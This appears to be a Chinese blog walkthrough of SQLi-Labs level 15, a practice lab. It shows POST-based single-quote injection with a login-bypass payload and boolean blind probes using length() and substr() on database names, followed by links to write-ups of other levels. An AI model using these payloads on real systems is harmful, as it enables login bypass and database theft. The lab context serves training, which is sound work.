SQLi LABS Less-15

简介: 第十五关请求方式为POST请求 , 注入方式为 单引号字符串型注入 第一步,判断注入类型使用万能账号测试注入类

第十五关请求方式为POST请求 , 注入方式为 单引号字符串型注入

第一步,判断注入类型

使用万能账号测试注入类型

a' or true #

image.png

登录成功 , 使用的是单引号字符串 , 源码如下

image.png

使用updatexml() 判断数据库是否报错

a' and updatexml(1,'~',3) #

image.png

数据库不报错 , 只提示成功或者失败 , 所以此关卡应该使用布尔注入 , 源码如下

image.png

第二步,获取数据库

使用 length() 判断当前使用的数据库的长度

a' or length(database())>8 #

从1开始测试 , 到8时失败 , 固 数据库名字长度为 8


image.png


使用substr() 判断数据库名字

a' or substr(database(),1,1)='s' #

截取数据库名字的第一个字符 , 从数字,字母,特殊字符的范围内测试


而后测试第二个,第三个,第n个字符 , 直至猜出整个数据库的名字

a' or length(
(select schema_name
from information_schema.schemata limit 3,1))>1 #

从1开始测试 , 5时开始出现异常 , 固 长度为5

使用 substr() 测试 数据库名字

1. a' or substr(
2. (select schema_name
3. from information_schema.schemata limit 3,1),1,1)='m' #

从第1个字符开始测试 , 测试范围包括所有字母,数字,特殊字符 , 直至测试完整个数据库名

而后用同样的方法测试字段名 , 最终实现脱库


相关文章
|
5月前
|
安全 数据库 数据安全/隐私保护
sqli-labs第一关
sqli-labs第一关
|
SQL 数据库
SQLi LABS Less-26a
第26a关使用GET请求传递参数,在url地址栏中构造payload即可 源码中过滤了参数中的or,and,/*,--,#,空格,斜线,我们想办法绕过即可
313 0
SQLi LABS Less-26a
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-22
2关使用POST请求提交参数,对账号和密码中的特殊字符执行了转译的操作,难度较大
105 0
SQLi LABS Less-22
SQLi LABS Less-27
第27关使用GET请求传递参数,在url中构造payload即可 源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
325 0
SQLi LABS Less-27
SQLi LABS Less-23
第23关使用GET请求传递参数,在url地址栏构造payload即可 此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立
147 0
SQLi LABS Less-23
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号
137 0
SQLi LABS Less-30
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可
208 0
SQLi LABS Less-29
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-16
第16关使用POST请求提交参数,可以使用代理工具抓包或直接在输入框中修改参数 后端代码根据用户输入账号和密码去数据库中查询,查询成功则返回登录成功,否则返回登录失败,页面没有显示的数据,SQL语句中使用了错误抑制符@来限制数据库的报错信息,因此不能使用联合注入或报错注入,推荐使用布尔盲注,源码如下
145 0
SQLi LABS Less-16
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-21
21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大
161 0
SQLi LABS Less-21
|
SQL 数据安全/隐私保护
SQLi LABS Less-20
第二十关请求方式为POST请求 , 注入点为 单引号字符串型 , 注入方式为 联合注入 通过 cookie 注入
213 0
SQLi LABS Less-20